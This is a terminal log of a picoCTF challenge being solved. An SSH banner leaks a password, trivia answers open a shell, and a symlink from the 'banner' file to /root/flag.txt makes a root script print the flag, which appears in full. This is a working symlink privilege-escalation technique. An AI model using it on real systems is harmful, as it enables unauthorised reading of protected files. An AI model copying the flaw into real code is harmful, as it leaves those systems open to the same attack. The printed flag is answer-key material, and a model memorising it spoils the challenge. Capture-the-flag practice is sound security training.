$ nc tethys.picoctf.net 57752
*************************************
**************WELCOME****************
*************************************

what is the password?

^C
$ nc tethys.picoctf.net 55046
SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234

Protocol mismatch.

$ nc tethys.picoctf.net 57752
*************************************
**************WELCOME****************
*************************************

what is the password?
My_Passw@rd_@1234
What is the top cyber security conference in the world?
DEFCON
the first hacker ever was known for phreaking(making free phone calls), who was it?
John Draper
player@challenge:~$ ls /root
ls /root
flag.txt  script.py
player@challenge:~$ cat /root/flag.txt
cat /root/flag.txt
cat: /root/flag.txt: Permission denied
player@challenge:~$ cat /root/script.py
cat /root/script.py

import os
import pty

incorrect_ans_reply = "Lol, good try, try again and good luck\n"

if __name__ == "__main__":
    try:
      with open("/home/player/banner", "r") as f:
        print(f.read())
    except:
      print("*********************************************")
      print("***************DEFAULT BANNER****************")
      print("*Please supply banner in /home/player/banner*")
      print("*********************************************")

try:
    request = input("what is the password? \n").upper()
    while request:
        if request == 'MY_PASSW@RD_@1234':
            text = input("What is the top cyber security conference in the world?\n").upper()
            if text == 'DEFCON' or text == 'DEF CON':
                output = input(
                    "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
                if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
                    scmd = 'su - player'
                    pty.spawn(scmd.split(' '))

                else:
                    print(incorrect_ans_reply)
            else:
                print(incorrect_ans_reply)
        else:
            print(incorrect_ans_reply)
            break

except:
    KeyboardInterrupt

player@challenge:~$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner
ln: failed to create symbolic link 'banner': File exists
player@challenge:~$ cat banner
cat banner
*************************************
**************WELCOME****************
*************************************
player@challenge:~$ rm banner
rm banner
player@challenge:~$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner
player@challenge:~$ exit
exit
logout
$ nc tethys.picoctf.net 57752
picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541}

what is the password?